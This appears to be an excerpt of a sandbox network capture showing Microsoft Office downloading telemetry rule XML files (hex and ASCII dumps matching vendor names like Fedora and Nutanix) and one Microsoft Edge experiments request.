2024-10-27 16:54:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:27 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165427Z-16849878b7898p5f6vryaqvp5800000004g000000000qpkx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:27 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:27 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:27 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 7d1d0a8a-d01e-0049-263b-26e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165427Z-r197bdfb6b4g24ztpxkw4umce800000005bg000000005dce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:27 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:27 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 809859d7-601e-00ab-6828-2666f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165427Z-17c5cb586f6zrq5bnguxgu7frc00000004ng000000001hsd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:27 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:27 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165428Z-16849878b786jv8w2kpaf5zkqs00000002s0000000004f33 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:27 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165428Z-16849878b787bfsh7zgp804my400000002n000000000761d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:27 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:28 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 352988b4-001e-0065-3a25-260b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165428Z-17c5cb586f6mhqqb91r8trf2c800000004m00000000093bf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:28 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:27 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165428Z-16849878b78km6fmmkbenhx76n0000000370000000003ned x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-27 16:54:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:28 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 6c6fa777-201e-003c-1958-2630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165428Z-17c5cb586f6gkqkwd0x1ge8t040000000410000000008axg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49790	94.245.104.56	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:29 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:29 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sun, 27 Oct 2024 16:54:28 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:29 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165429Z-16849878b78sx229w7g7at4nkg000000023g00000000474e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:29 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2cfbf663-801e-0083-68dc-26f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165429Z-17c5cb586f6f8m6jnehy0z65x400000002zg000000008ypg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:29 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165429Z-16849878b78fhxrnedubv5byks000000020g00000000mkyb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:29 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 8d3096ad-201e-005d-6f5b-26afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165429Z-17c5cb586f65j4snyp1hqk5z2s0000000560000000005bed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
